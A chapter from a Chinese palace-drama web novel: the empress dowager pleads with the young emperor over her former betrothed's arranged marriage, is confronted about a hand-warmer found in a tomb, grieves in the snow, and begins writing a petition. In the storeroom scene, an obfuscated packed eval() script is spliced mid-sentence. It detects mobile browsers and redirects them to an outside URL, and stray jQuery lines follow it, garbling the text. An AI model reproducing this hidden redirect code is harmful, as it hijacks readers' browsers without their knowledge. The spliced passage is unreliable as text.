夜深，就寝时分，李琢从净房出来，穿着单衣，头发潮湿地披在身后。
入了内间，吴汲拿了干净的帕子过来，在他身后，宫女正拿着铜盖，依次灭去烛灯。
就在这时，有个太监匆匆入内，说道：“圣上！太后请见！”
“这么晚了，太后来做什么？”虽然不解，李琢还是停下脚步，阻止了宫女熄灯的动作，低头看了看，“我这身见不得母后。请母后到外间喝杯热茶，稍候片刻。”
那太监领命而出，吴汲伺候着李琢换了燕居的道袍，头发湿着，束不了冠，便只能披散着，好在方才要就寝，已经让记载起居的太监下去歇息了，也不会有人非议。
收拾完毕，吴汲在前头撩开门上棉布，李琢走出去，“母后！”
乔燕本心事重重地坐在椅子上，闻声站起，放下掌心捧着的茶盏，“圣上这是要睡了。是我不好，不该这么晚来找圣上。”
“母后待我如亲子，无论何时来找我也是该的，”李琢迎上去，亲自牵过乔燕的手，按着人坐下。
“夜间风寒，您的手都冷了，吴汲，拿个手炉过来。”
“不必了，”乔燕说道，“我和恒奴要说些母子间的体己话，让人都下去吧。”
李琢十分听话，果然屏退了所有宫人。
“母后要说什么？”
乔燕深吸一口气，“听说，你给冯侍郎赐了婚？是哪家小姐？为何我不曾听说。”
乔燕这般发问也不是没有由头的，天子想拉纤做媒，其实也要问询过双方意见，可这等妇道之事，若由男子往来就太过生硬，于是常通过后宫召见双方家里的命妇，言语暗示，而后下令旨指婚，像这次这般直接在朝堂上一锤定音，有些不近人情。
李琢说道：“其实还未并未定下女方人选，在朝会上先行提出，是为洗清流言，堵悠悠众口。”
乔燕松了口气，正欲开口，就听李琢又道：“母后这里常有命妇周旋，事务繁杂，孩儿不欲劳累您，是以已经将此事交给贵太妃了。听闻她前日见了绥阳伯的女儿，不知后续如何。”
他行事如此妥帖，乔燕愈发觉得难以启齿。可她连夜而来，本就凭着满腹不甘，一腔冲动，谈何周全呢。
沉默片刻，她颤声道：“恒奴，我有一事……”
“母后！”
李琢顿了一顿，深深看着她，神情复杂，“天时太晚，儿子明日还要早起，有什么事，不如改日再说。”
若到此为止，不失为太平结局。
被再三打岔，乔燕知道这是李琢给她留的体面，其实已经生了退缩之意，可也不知到底哪一口气，始终梗在心里。
她心一横，蓦地跪地，李琢吓了一跳，忙伸手托住她的胳膊，可是乔燕跪得异常坚定，微微抬起头，说道：“妾有一事，恳请圣上恩准。”
李琢一顿，慢慢收回手，站直了，眼里闪过痛心之色，张了张嘴，却终至无声。
“请您收回赐婚冯矩的旨意。”
室内的灯烛熄了大半，光线昏暗，有那么一瞬，尚有稚气的少年的脸浸在阴影里，显得格外漠然。
“只此一件，我不能答应你。”
他微垂眼皮，自上往下地看，“这件事，我本打算不告诉您，以免惹您伤心。我本打算，就当什么都没发生，掩过饰非，让一切都回到正道。可您为何不能也体贴一下孩儿，非要将此事拿出来讲呢。”
李琢负手走开两步，仿佛下了什么决心，微抬起头，看着横梁上鲜妍的壁画。
“《内训》有言：贞静幽闲，端庄诚一，妇德也。守寡者，更该志坚如铁，死守贞节。母后，您待我恩重如山，我事您如母，本不该申饬。可为人子，见到母亲做了天大的错事，更不能视而不见，害您继续错下去。”
李琢走到了门边，拉开了一条缝，唤道：“吴汲！”
“欸！奴婢在呢。”
“拿根鞭子来。”
吴汲骇了一跳，唯恐自己听错了。透过门缝，他隐约可见皇帝身后跪着的身影，心头砰砰直跳，直觉不好，好在还有几分镇定，明白不可宣扬，勉强维持着脸上表情，躬身走开。
等他偷偷摸摸寻了根马鞭，藏在袖子里，来到寝殿，只见皇帝和太后母子相对而跪，气氛静得可怕。
太后神情哀伤，隐有几分绝望，而皇帝则万分坚定。
听到脚步，李琢扯开衣服，袒露上身，轻声说道：“母后做了错事，孩儿不忍您受罚，只好替您受过。”
说完，伸出手要鞭子。
吴汲这才知道原来是有此用，怎敢当真把鞭子交出去，更何况两个主子都跪着，哪有他站着的份，忙哭着跪地，低声道：“圣上，您有什么事就冲奴婢来吧，奴婢替您受着！”
“鞭子拿来，你出去。”
“圣上！”吴汲哭得眼泪鼻涕直流，只不掏袖子，“母子之间哪有什么仇呢，何至于此啊圣上！”
李琢恼怒万分：“这里哪有你说话的份，还不把鞭子给朕！”
“好了。”
乔燕的声音很轻，好似不堪负累，连说句话的力气都要挤出来。
让听到的人心中发颤，忍不住屏住呼吸。
吴汲就这样，一瞬间连大气也不敢出，听到太后说：“不要为难他了，圣上，让他先出去吧。”
吴汲小心地觑向李琢，只见少年也沉默了下去，片刻后，淡淡道：“出去吧。”
吴汲起身，李琢又道：“母后也出去吧。”
但是没有动静。李琢喃喃：“您要我怎么是好……”这一句话，听起来很让人难过。
到这里，吴汲不敢再听，连滚带爬地出了屋子，关好门，守在外头。
室内一时又只剩母子二人。
李琢最后那句话久久回荡在乔燕心头，撕扯着她的心。
李琢企图用这样的示弱来换取她的退让和安宁，可人心要真的这般简单易解该有多好。
乔燕沉默地起身，托住李琢的胳膊，把他也拉了起来。
直到此刻，她才在今夜第一次看清少年的脸，看到强忍坚决之下的忐忑和痛苦。
“恒奴……”
乔燕放开了手，闭上眼，“那些‘对错’，到底是谁定的呢？我的这一生，既不曾贪禄伐利，也从未戕害忠良，仰不愧于天，俯不怍于人。”
谁料这一番自白没有熄灭李琢的心气，反而让他脸色涨红，李琢踱了两步，实在气不过，又冷声道：“好，好一个不愧不怍！您和冯矩，青梅竹马，早定盟约，情难自禁，我可以理解！可是二哥呢！”
乔燕僵住，“什么？”
李琢浑身都发着抖，大步走入内间，不一会儿，拿出一个手炉，掷于地。
“这个手炉，是我在二哥梓宫里发现的。从前我去母后宫里，不小心摔过一只手炉，一角有轻微凹陷，正与这只一模一样！母后，你告诉朕，你的手炉为何会在二哥的陪葬里？！”
乔燕走下步道时，四肢都是僵硬的。
宜婵一手举过伞，一手托住她，十分担忧，“娘娘……”
乔燕后知后觉地抬起头，微微一笑，“又下雪了啊。宜婵，我怎么觉得，这场雪下了好多年了，从文景三十九年到今天，从来不停。”
“娘娘，您不要哭了，会被人看到的。”
“宫里这么大，这儿又这么空旷，谁会看到。”
主仆俩相依着走了几步，乔燕忽然没头没脑地问：“你觉得，先帝是待我是真心的吗？”
“什么？”
“先怀帝，李稷啊。”
“奴婢不敢说。”
“你我这么多路都走过来了，那时在问天塔，你也在，有什么不敢说的？好啦，恕你无罪，我想听听真话。”
“他待您，应当是真心的。”
“是真心的啊，”乔燕又笑了，“可是旁的人，谁在乎你的真心呢。他们只看得到对错，只论是非啊。”
宜婵被她说得难受了起来，她抬起头，好像想找什么，可今夜无星无月，阴云密布，只有漫天大雪。
她看了一会儿，认真地道：“娘娘，付出真心的人在乎，被真心对待人也在乎。”
乔燕脚下磕绊，跌倒在地。她却没有立刻起身，就这么伏在雪上，豆大的泪水滚滚而下，止也止不住。
“娘娘！”
宜婵吓得丢开伞，蹲下身搀扶她。乔燕抱住她胳膊，将全部重量都压在她身上，仗着风声喧嚣，嚎啕大哭。
“我好难过，宜婵，我真的好难过……他就要娶妻了，我拦不了……身为太后，却还是什么都做不了，就算想哭，也要先看一看四下有没有人……”
一觉睡醒，已是天光大亮，不知是不是因为前一晚痛哭一场，这一觉醒来，竟觉心头无比松快。
待走出屋子，只见数个宫女太监搬着东西在院中走来走去，乔燕喊住一个，问道：“这是在做什么？”
“回娘娘，昨儿发现库房不知何时遭了鼠患，不少物什都坏了，宜婵姑姑让我们把东西拿出来清点一下，若是有那已经坏掉了的，趁早处理了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116350|193889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
这时，思嘉从偏殿转出来，手里拿着两只细颈花瓶，笑着屈膝问安，说道：“寒冬腊月的，老鼠影子都没瞧见，也不知躲哪儿去了，两侧偏殿里的东西也要盘查盘查，保不齐就窝在哪个犄角里头。”
先前的宫女噘了噘嘴，“要奴婢说，术业有专攻，逮老鼠还得是狸奴，我们在这里人仰马翻，不如去抱两只狸奴来。”
乔燕笑起来：“我倒是知道谁养了猫儿。思嘉，你去司礼监找秉笔金春山，他手底下养着七八只猫呢，借两只来用用。”
思嘉把花瓶往旁人手里一塞，“奴婢这就去。”
那宫女抱着花瓶，胳膊上还挎着个篮子，左支右绌，眼睛都没地儿放了，生怕磕了摔了。乔燕看不过眼，主动分担过一只花瓶。
“这个要放到哪里？”
“这个思嘉姐姐刚拿出来，想是要去后院里晾一晾哩。”
乔燕来到后院，瞧见已经摆了一地的零碎物件。她走了两步，好似踢到个什么，低头一看，只见一个巴掌大的圆肚瓷罐咕噜咕噜滚开了。
眼见瓷瓶越滚越远，就要摔进墙角的排水洞里，一只脚及时伸出，挡了一挡。宜婵挡住那瓷罐，弯腰将其捡了起来，捏在手里翻来覆去打量一番，笑道：“娘娘可还记得这个？”
“有些眼熟。”
乔燕寻了个空处放下手里的花瓶，接过瓷罐，拧开盖子，一股药香扑面而来。
“想起来了，这是当初董玉莲送我的药膏。”
“那时候初入宫，膝盖跪肿了，离开时，董玉莲追上我，说了一番话，给了这个药。我收下它，却不用，意在时刻提醒自己对他的恨意。”
数载春秋，物是人非，从前恨入骨髓的人，早已成了一抔黄土。从前那些心惊肉跳，如今想来也只剩寻常。
宜婵道：“娘娘。”
“时间太久，用不了了，扔了吧。”
“啊！！！”
忽然有个宫女一蹦三尺高，只见她身前半开的匣子里蹿出两只灰色身影，霎那间，尖叫声此起彼伏，而那两只老鼠显然也很害怕，上蹿下跳，更引起无数呼喊。一时间，也不知道人和老鼠哪个受惊更大。
宜婵呼吸急促几分，回头催道：“娘娘，这里太乱了，您先回去吧。”
“也，也好。”乔燕磕磕巴巴地应了，倒退两步，飞快地跑了出去。
回到房间，犹是惊魂未定，但转念间，乔燕又露出一个浅笑来。
没有女儿家不怕耗子的，她也是，从前待字闺中时，常去东北角的荒园玩，那里人迹罕至，此消彼长，蛇鼠就多。她算得胆子大，有时候远远看到可疑的东西就默不作声地避开，一直无恙。但有一回，听到哥哥们和冯矩在书房说起前朝的《爱莲说》，“中通外直，不蔓不枝”，在看到一池枯荷时想了起来，好奇心起，趴下去捞荷枝。
谁想，就在她伸手的瞬间，水面扑腾，一只硕大的水耗子一跃而起，扒住她的袖子，三两下上了岸。她到现在都记得，有那么几息和水耗子四目相对，大眼瞪小眼，那双黑豆豆眼里映出面目狰狞的她。
她张大嘴巴，闷不吭声地厥了过去。
后来也没等人寻过来，又一个人醒了，若无其事地回到闺房。只是从那之后，那个承载着一些美好记忆的荒院再也没去过。
倏忽十载光阴，远得像上辈子一样。
人的一生，又有几个十载呢？
乔燕摊开手，手心还攥着那只圆肚瓷瓶，说是要扔掉，但事发突然，莫名其妙就带了回来。
看到瓷瓶，就想起董玉莲，想起昔日在月台下的象眼旁，董玉莲面庞含笑说的话。
那时候的他多么风光啊，外朝眼里的“内相”，内廷里的无冕王，他可以轻飘飘地警告皇帝的妃嫔，手指动一动就是无数人的生和死。
可是最后呢？
高名厚利地活一辈子又如何呢，名和利可以把人吃干抹净，最后留下了什么？董玉莲的一辈子够不够辉煌？他留下了什么。
李琢劝她：做尊荣无二的太后不好吗？那自然是好的，扪心自问，她也曾做过权势滔天的梦，可每个人生在世，在有所“想要”的东西之前，必然还有“更想要”，若二者不可兼得，也只好取舍。比起端坐高处，她好像更想站在一个人的旁边。
一念既定，神气通达。乔燕起身在书案边坐下，引水研墨，提笔落字：
“妾乔氏谨泣血顿首：伏念启正四年夏，陛下以亳王领密敕巡按淮南。时奸宦结党，私枭塞漕，王舟方抵彭县……”